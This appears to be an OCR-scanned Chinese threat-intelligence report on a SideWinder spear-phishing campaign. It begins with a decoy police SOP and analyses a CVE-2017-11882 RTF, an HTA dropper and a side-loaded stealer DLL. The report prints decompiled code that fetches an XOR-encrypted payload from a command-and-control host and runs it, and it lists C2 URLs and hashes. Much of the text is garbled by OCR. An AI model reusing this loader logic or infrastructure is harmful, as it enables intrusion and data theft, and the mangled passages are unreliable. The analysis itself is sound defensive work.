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As desired by worthy IGP Sb, please find attached sop for police emergencies for strict compliance.
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Subject: STANDING OPERATING PROCEDURES FOR POLICE EMERGENCY THREAT LEVELS AND COLOR CODES FOR OPERATIONAL READINESS.
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['STANDING OPERATING PROCEDURES FOR POLICE
EMERGENCY THREAT LEVELS AND COLOR CODES FOR
OPERATIONAL READINESS™®

PRELUDE .

Law enforcement agencies use different color codes to identify
security levels for police operations and readiness world wide.
Being a civilian law enforcement agency, Sindh police serves as a
backbone in maintaining law and order. The (1 i
reshaped the strategies
of police and LEAs nationally and internationally. Attacks on
public places and general masses require declaration of security
levels and a coordinated mechanism among different agencies to
respond to the situation in professional method. .
Operations Branch has proposed a security level identification and
emergency color codes scheme for the operational alertness of
Palice.

INTRODUCTION..

Threat level is a term used by government agencies to indicate
the state of preparedness required by LEAs with regard to
emergency situations and urgency of required response. Threat
levels are designed to give a broad indication of the likelihood of
a terrarist activity/untoward situation, the likelihood of an attack
in real time scenario. Thus, it serves as a tool for security
practitioners working across different sectors to be ready to
respond. In order to identify the nature of threats and devising
different strategies and preparedness, a color code scheme has
been introduced to facilitate the officers/officials in Sindh Police
for better communication and making viable and organized
operational procedures to cope up with any sort of threat..,

BACKGROUND

After  9/11 terrorist attacks, the need for increased
counterterrarism and homeland security efforts at International,
Mational and local levels has taken the spot light in public safety
efforts. Therefore, the continued threat of terrorism has thrust

1 r

_

domestic preparedness obligation to the top priority of the law
enforcement agenda. Being a civilian law enforcement agency,
police is in direct interaction with masses and internally
communicated threats within and outside the department besides
ather LEAs by a co-grdinated mechanism is necessary to improve
the owverall level of preparedness and capabilities for the
department. .

OBJECTIVES .

* Provision of a broad indication of the protective security
measures that should be applied at any particular moment..,

® Sharing threat levels with other LEAs to ensure a co-grainated
response mechanism...

s Sharing threat levels with general public keeps everyone
informed and explains the context for the various security
measures (For gxample.; airport security, traffic stoppage, bag
searches etc).,

s It provides alternates for public and differentiates routine
protective security and vulnerabilities. .

« Maximize protective security measures to minimize vulnerability
and risks. .

METHODOLOGY .

« The first step is the assessment process to identify threat levels
according to risk assessment.

* Collecting information .

s Determining the threat rating.,

® Asset value assessment.

s Yulnerability assessment.

® Risk assessments.,

« Mitigation options.,

We can take appropriate measure/decisions by keeping these
factors as priority. Together with detailed assessment, the
analysis informs wus regarding potential threats. Threat
assessments are also considered as important factor for
individuals and events. Modus Operandi of 'Response’ by the
Police against any identified threat alert has been tabled in the
enclosed table with the role of each Supervisory Officer. .

1 r

B 3-1 i EE

= 3-2main.RTF

mEAMN
RaX s
MD5 1£e3d9722db28c2£3291£F176b989c46

XK

main. RTF

3.38 KB

VT BR_E(ERTE
VT SR 25/56

Trojan[Exploit]/RTF. CVE-2017-11882

Document/Microsoft. RTF[:Rich Text Format]
CVE-2017-11882
2019-04-24 15:47:03

main.RTF FIFEARFRAEWIFR 3-2 P, & CHisqT 5 o fil)k CVE-2017-11882 i, JfA\ http://cdn-

in[.]Jnet/includes/b7199e61/-1/7384/35955a61/final % — > hta SC {4 (LA RFRAE final.hta) H44T (L& 3-3).

% 3-3final.hta HEEFRE

SR
[Ra3H=

final. hta

Trojan[Dropper]/Script

5 16e561159ee145008635¢52a931b26¢8

MR 83. 62KB
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Script/Netscape. JS[: JavaScript]
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FIBRER b
VT BiR _E(ERTIE 2019-04-25 09:16:02
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final.hta /2 —/> HTML BT, EREITmENT:

1. HAFE ARG S <C:\Windows\System32\credwiz.exe”

2. W F credwiz.exe, MK e & #i 3 <C:\ProgramData\drvi\srve2.0\" H3 K, HEZHE FE A
Duser.dll 32 (WL 3-2).

v EHBRES (C) » ProgramData » drer » srec20 v|¢}|| BE cnc2 0

HE - ESIE

s

R M HR E-Sit] Fh
|4, credwiz.exe 2009/7/14 9:14  mREE 28 KB |
%| Duser.d|l 2019/4/25 16:36  pEErE © XX 99 ks

B 3-2 XHBHMER

3. ¥“C:\ProgramData\drvr\srvc2.0\credwiz.exe” ¥ NiF M & 1 8 5h 50
4. WIRRT=ABBEIAT TS, W [E “http:/cdn-in[.Jnet/plugins/-1/7384/true/true/” & i% —% HTTP GET
R R =AND IR BT S SR EL L, PR RS B 7E 5 7% “http://cdn-in[.Jnet/plugins/-
1/7384/true/true/” W), I ARIEZ KT K,
final.hta #7511 Duser.dll 3 8 SCHF(FEAFRZE AR 3-4), 1 credwiz.exe 5& A1 R4S, credwiz.exe
(11847 7 %3\ Duser.dll, o A I — WU B Sed 22 4 Ak il .

= 3-4 Duser.dll HEEFRZ

Trojan[Spy]/Win32. Stealer

Duser. d11
21cc890116adcf092d5a112716b6ab5f
BinExecute/Microsoft. DLL[:X86]
2019-03-14 10:31:27

Microsoft Visual C++

2019-04-28 03:13:34
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credwiz.exe 1217 )5, Duserdll fEIAHXH#E T A\ . Duserdll i21T)5, & 10 7r-#hmEEHE: https://cdn-
list[.Jnet/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/43e2a8fa/css Kik—Ik GET &R (& 3-3),
SRJG iR Al ) BdE, 455 JavaScript A &4, (LK 3-4)

sub_188818DB(&v7, "GET", requestURL}; /7 https:/fcdn-list.net/15dYHMUrbd
LOBYTE{v27) =

1S = B;

uldg = B;

iy = B;

vig = B;

vil? = B;

vZB = B;

Http Do Request{uvi, &uiL, &u7};
LOBYTE{v27) =

if { sub_18881D58{&uv15) == 288 )
{

*Fesponselata = malloc{@<AB80080u);

ul = httpReadData(&vi15, =responselata, @xXAA8008, &responseData Len);

#responsebDatalen = responseData_Len;

if {( vbh && responsebData Len ) s

{ ~uaX
for ( i = B; i € responseData Len; ++i )

~

s{=xresponsebata + 1) 7= off_1801887C[0][1 % 5];// decrypt response data

B 3-3 &3 HTTPS 5K R BB HIE

result = HttpRequestURL{1pHultiByteitr, &response_data, &response_data_len);
if { result )
1

w response data = AsciiToWidechar{response_data);

Colnitialize(d);

CLSIDFromProgID{L"Javascript", &clsid);

ppv = 8;

result = CoCreatelnstance(&clsid, 8, 8x17Fu, &riid, &ppv);

if { result >»= 8 )

1

if ( (=(=ppu + 12)){ppv, &dword 186194AC) >= 8 )
1
if ( (={=ppuv + 32))(ppv, L"Festival™, 2) >= 8 )
{
i = B;
{==xppu){ppv, &unk 188156AC, &u3);

if ( v3 ) r A
P 828X

{=(*03 + 12)){v3);

(=(=03 + 28)){(v3, w response data, 8, 8, 8, 8, 8, 8, 8, 8);

3-4 BRI R1E

R At fE T, AR5 asimik Bl IS A Z I TR R G E E, IR RIX L5 B 44 A JSON
Ptk @I HTTPPOST iR AIZ B LU TR G IERINE B ILIE 3-5), X P SG#EAT (5 BRI Bt

ORX hRINFRE, WiBTTiREH B/6m
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http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI4I2FalzSCT/-1/7384/134/7e711ada/res/css

B 3-5 BousnEEEE

LhE SN EP SRR LT
o RGKSEE. BENIR. REEAGEE. HAER . MEERES

o SIRETRAIER. DRI REHEER
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o UfFHAZIIK

4 INVER

M e (SideWinder) ZHZUR I H A LG ERI APT B4, ZH LBt H bs 2 BEAE LR T 4%
[, P FHER AW R ENEE . AT B S S 1E 5 3 57O U S S 2% A iR o 22 fE A
Nday i  PowerShell, ARSI FHA LKA IR EC AU, AHORHR BI04 Kzl 2347 £1%F Android &
GBI e s) HAIT BRI Z R RE, ZHFURW R AR IEE, HATAR KB GE
25 A REER KRBT R RI SR, (HANHRER A [ Bl 15 SR IR 7 BB i B e 4L 2800 SN AL

fisg—: 10C

MD5:
549FB138B02C5420D6EA13F7A1A341B0 EML
393497C43C760112714F3BB10F5170D2 CVE-2017-0199
1FE3D9722DB28C2F3291FF176B989C46 CVE-2017-11882
Al1CA53EFDA160B31EBF07D8553586264 CVE-2017-11882
16E561159EE145008635C52A931B26C8 hta
21CC890116ADCF092D5A112716B6A55F Duser.dll

62606C6CFF3867A582F9B31B018DFEAS
52FA30AC4EDC4C973A0A84F2E93F2432
CES53ED2A093BBD788D49491851BABFFD
737F3AD2C727C7B42268BCACDO0F8C66
2D9655C659970145AB3F2D74BB411C5D
E021A9E4EEA1BF7D494269D20510E82C
032D584F6C01CC184BFO7CDEC713E74D
90E9F50E8E799DD340E09793A49A3521
FA44A45E6F6273ATFB3D5CEE145760362
FB362FE18C3A0A150754A7A1ABO6GSF1E
423194B0243870E8C82B35E5298AD7D7
81F9EB617A2176FFOES61E34EF9FF503

Domain:
cdn-list[.]net C2
punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn- | Download URL
in[.]net
URL:

http://www.punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn-in[.Jnet/images/5491E413/-
1/7384/89dfd89e/
http://www.punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn-in[.Jnet/images/5491E413/-

ORX hRINFRE, WiBTTiREH E8:m
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1/7384/89dfd89e/main.RTF
http://www.punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn-in[.]Jnet/images/5491E413/-
1/7384/
http://www.punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn-in[.]Jnet/images/5491E413/-
1/7384/89dfd89%/
http://www.punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn-in[.]Jnet/images/5491E413/-
1/7384/89dfd89e/main.RTF
http://www.punjabpolice.gov.pk.standingoperatingprocedureforemergencythreat.cdn-in[.]Jnet/images/5491E413/-
1/7384/

http://cdn-in[.]Jnet/includes/b7199e61/-1/7384/35955a61/final

http://cdn-in[.Jnet/plugins/-1/7384/true/true/

http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI4I12FalzSCT/-1/7384/134/7e711ada/res/css/1
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/2
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/3
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/v4.0.30319
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/4
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/5
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/6
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711adalres/css/7
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/8
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/9
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/10
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8Jca6qOvI4I12FalzSCT/-1/7384/134/7e711ada/res/css
http://cdn-in[.Jnet/includes/b7199e61/-1/7384/35955a61/final

http://cdn-in[.Jnet/plugins/-1/7384/true/true/

http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/1
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711adalres/css/2
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/3
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/v4.0.30319
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/4
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/5
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/6
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711adalres/css/7
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/8
http://cdn-list[.]net/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css/9
http://cdn-list[.]Jnet/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711adalres/css/10
http://cdn-list[.]Jnet/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/134/7e711ada/res/css
https://cdn-list[.]Jnet/1SdY MUrbdAfpgSt3Gv13U8JcabqOvI412FalzSCT/-1/7384/43e2a8fa/css

fIR=: XFREX
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